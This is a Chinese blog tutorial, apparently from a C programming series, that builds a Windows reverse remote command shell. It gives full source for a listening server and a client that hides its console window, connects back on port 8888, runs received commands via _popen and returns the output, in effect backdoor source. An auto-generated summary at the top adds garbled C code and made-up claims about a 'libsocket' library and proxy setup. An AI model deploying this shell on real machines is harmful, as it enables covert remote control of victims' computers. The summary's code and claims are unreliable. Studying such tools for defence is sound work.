14.2 Socket 反向远程命令行

socket,反向,远程,命令行 · 浏览次数 : 9

小编点评

**套接字反向命令执行** **服务端代码(server.c):** ```c #include #include #include #include #include int main() { char buf[1024]; // 接受来自客户端的命令 while (1) { char recv_data[1024] = { 0 }; int ret = recv(client, recv_data, sizeof(recv_data), 0); // 如果接收到的数据为执行命令,则执行命令 if (ret > 0) { FILE *fp = _popen(recv_data, "r"); // 循环读取命令行参数,并发送给子进程 while (fgets(buf, 1024, fp) != NULL) { send(client, buf, sizeof(buf), 0); } // 关闭文件描述符 fclose(fp); } // 处理客户端关闭的信号 if (recv_data[0] == '\n') { close(client); break; } } return 0; } ``` **客户端代码(client.c):** ```c #include #include #include #include #include int main() { char recv_data[1024] = { 0 }; int client_fd; // 连接到远程主机 client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 接收服务端的命令 while (1) { recv(client_fd, recv_data, sizeof(recv_data), 0); // 解释命令并执行命令 if (strcmp(recv_data, "execute") == 0) { // 获取命令行参数 int len = read(client_fd, recv_data, sizeof(recv_data) - 1); recv_data[len] = '\0'; // 执行命令 system(recv_data); } // 处理客户端关闭的信号 if (recv_data[0] == '\n') { close(client_fd); break; } } return 0; } ``` **注意:** * 客户端需要在运行时设置代理服务器地址和端口。 * 服务器需要在运行时安装 `libsocket` 库。 * 代码仅供参考,可能需要根据实际需求进行修改。

正文

在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。

在实现反向远程命令执行时,我们可以使用 _popen(buf, "r") 函数来执行特定的命令,并将其输出重定向到一个可读的缓冲区中。这个缓冲区将保存命令的输出内容,我们可以将其发送回控制程序,也就是服务端,从而实现远程命令执行的目标。

首先我们来看一下_popen()函数的原型定义。

FILE *_popen(const char *command, const char *mode);

该函数接受两个参数:

  • command:字符串,包含要执行的命令行指令。
  • mode:字符串,用于指定管道的打开方式,支持 "r" 和 "w" 两种模式。

函数返回一个FILE结构体指针,该指针指向一个由命令产生的输出流。在执行命令时,该函数将创建一个进程来运行命令,并从该进程的标准输出流中读取输出。然后该函数将返回一个文件指针,该文件指针包装了一个文件描述符,用于访问输出流。最终,用户可以使用标准的文件读取操作(如 fread()、fgets() 等)从该文件指针中读取输出,有了该函数的支持再配合套接字即可实现远程命令执行的效果;

14.2.1 服务端实现

如下代码实现了一个基于Windows平台的简单TCP反向shell。该程序可以监听本地的某一端口(默认为 8888),并等待外部客户端的连接。当有新的客户端连接时,程序会等待用户在终端上输入要执行的命令,并将该命令发送给客户端。客户端执行该命令并将执行结果回显到服务端,服务端则将回显结果输出到终端上。

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET sock, Sclient;
  struct sockaddr_in sin, client;
  int nAddrLen = sizeof(client);

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // 初始化Socket
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // 填充变量
  sin.sin_family = AF_INET;
  sin.sin_port = htons(8888);
  sin.sin_addr.S_un.S_addr = INADDR_ANY;

  // 绑定套接字
  bind(sock, (struct sockaddr*) & sin, sizeof(sin));

  char buf[40960] = { 0 };

  // 循环等待套接字事件
  while (1)
  {
    // 侦听套接字
    if (listen(sock, 20) != SOCKET_ERROR)
    {
      // 有链接时则接收
      Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);
      int input_len = 0;

      char send_cmd[2048] = { 0 };
      printf("[%s:%5d] # ", inet_ntoa(client.sin_addr), htons(client.sin_port));

      // 输入数据,以回车键为结束标识
      while ((send_cmd[input_len++] = getchar()) != '\n')
      {
        ;
      }

      // 发送输入的命令
      send(Sclient, send_cmd, sizeof(send_cmd), 0);

      // 循环接收回显
      while (recv(Sclient, buf, sizeof(buf), 0) > 0)
      {
        printf("%s", buf);
        memset(buf, 0, sizeof(buf));
      }
    }

    // 关闭通信
    closesocket(Sclient);
  }

  // 关闭库
  WSACleanup();
  return 0;
}

14.2.2 客户端实现

客户端实现首先在开头部分通过增加一个链接器选项,该选项的作用是启动程序时不显示命令行窗口一次来实现隐藏窗体的目的,在程序中通过recv()函数在服务端接收一条命令行参数,并通过调用_popen(buf, "r")执行本地命令行并将输出结果保存在buf变量内,最后通过调用send()函数将执行结果发送给服务端,以此来实现反向命令执行的功能;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET socks;
  struct sockaddr_in sin;
  CHAR buf[1024];

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  while (1)
  {
    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(8888);
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    // 连接到远程
    if (connect(socks, (struct sockaddr*) &sin, sizeof(sin)) != SOCKET_ERROR)
    {
      // buf 里面就是接收到的执行命令行
      memset(buf, 0, sizeof(buf));
      int ret = recv(socks, buf, sizeof(buf), 0);
      if (ret > 0)
      {
        char recv_data[1024] = { 0 };
        
        // 执行远程命令
        FILE *fp = _popen(buf, "r");

        // 循环读取并发送数据,每次发送1024字节
        while (fgets(recv_data, 1024, fp) != NULL)
        {
          send(socks, recv_data, sizeof(recv_data), 0);
          fprintf(stderr, "%s", recv_data);
          memset(recv_data, 0, sizeof(recv_data));
          Sleep(10);
        }
      }
    }
    memset(buf, 0, sizeof(buf));
    closesocket(socks);
    Sleep(1);
  }
  WSACleanup();
  return 0;
}

读者可自行编译并运行这两个程序,首先运行服务端接着运行客户端,当服务端接收到上线消息后,读者可自行执行一些系统命令,此时会看到客户端的输出效果如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8b85e795.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

与14.2 Socket 反向远程命令行相似的内容:

14.2 Socket 反向远程命令行

在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 `_popen()` 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。在实现反向远程命令执行时,我们可以使用 `_popen(buf, "r")` 函数来执行特定的命令,并将其输出重定向到一个

Blazor前后端框架Known-V1.2.14

# V1.2.14 Known是基于C#和Blazor开发的前后端分离快速开发框架,开箱即用,跨平台,一处代码,多处运行。 - Gitee: [https://gitee.com/known/Known](https://gitee.com/known/Known) - Github:[https:

2.14 PE结构:地址之间的转换

在可执行文件PE文件结构中,通常我们需要用到地址转换相关知识,PE文件针对地址的规范有三种,其中就包括了`VA`,`RVA`,`FOA`三种,这三种该地址之间的灵活转换也是非常有用的,本节将介绍这些地址范围如何通过编程的方式实现转换。VA(Virtual Address,虚拟地址):它是在进程的虚拟地址空间中的地址,用于在运行时访问内存中的数据和代码。VA是相对于进程基址的偏移量。在不同的进程中,

Dash 2.14版本开始支持动态回调注册!

本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/dash-master 大家好我是费老师,就在昨晚,Dash框架发布了其2.14.0新版本,新增的功能中,有一项非常令人兴奋,那就是其针对回调函数这一Dash中的核心概念,新增了动态回调函数注册的支持�

[转帖]我63岁,夫妻俩退休工资15000,回农村养老不到一年,落荒而逃

[一种声音]我63岁,夫妻俩退休工资15000,回农村养老不到一年,落荒而逃 xilei 发布于 2023-2-14 9:36:00 我63岁,夫妻俩退休工资15000,回农村养老不到一年,我们落荒而逃 1、 我是老袁,江西人,一个儿子在上海工作,儿子和儿媳都有不错的单位。孙子住寄宿学校,也不需要我

【转帖】使用 LuaRocks 安装 Apache APISIX 依赖项时,为什么会导致超时、安装缓慢或安装失败?

使用 LuaRocks 安装 Apache APISIX 依赖项时,为什么会导致超时、安装缓慢或安装失败?# http://apisix.incubator.apache.org/zh/docs/apisix/2.14/FAQ/ 可能是因为使用的 LuaRocks 服务器延迟过高。 为了解决这个问题

Maven依赖管理

本文主要记录Maven依赖管理中关于依赖传递和依赖范围的知识 Maven项目示例 创建3个maven项目,分配依赖log4j 1.2.12, 1.2.13, 1.2.14版本。 com.leo project1

华为云发布分布式编译构建系统CodeArts Build

摘要:2月14日,华为云发布分布式编译构建系统CodeArts Build,旨在支撑企业实现高效的软件开发,缩短产品上市周期,帮助企业的软件产品快速形成关键竞争力。 本文分享自华为云社区《唯快不破!华为云发布分布式编译构建系统CodeArts Build》,作者: 华为云头条 。 在数字化时代,软件

Spring Boot 3.1中如何整合Spring Security和Keycloak

在今年2月14日的时候,Keycloak 团队宣布他们正在弃用大多数 Keycloak 适配器。其中包括Spring Security和Spring Boot的适配器,这意味着今后Keycloak团队将不再提供针对Spring Security和Spring Boot的集成方案。但是,如此强大的Ke

共攀元宇宙新高峰,2月14日沈阳元宇宙产业峰会邀您携手领跑2023

摘要:沈阳元宇宙产业峰会暨第三届华为云VR开发应用大赛颁奖典礼将于2023年2月14日携四大亮点粉墨登场,与大家共攀XR与元宇宙的发展新高峰,携手领跑2023新纪元! 元宇宙的浪潮正一波一波的席卷神州大地。据统计,截止2023年1月,全国31个省、直辖市均出台了元宇宙相关的发展建议。上海、四川、河南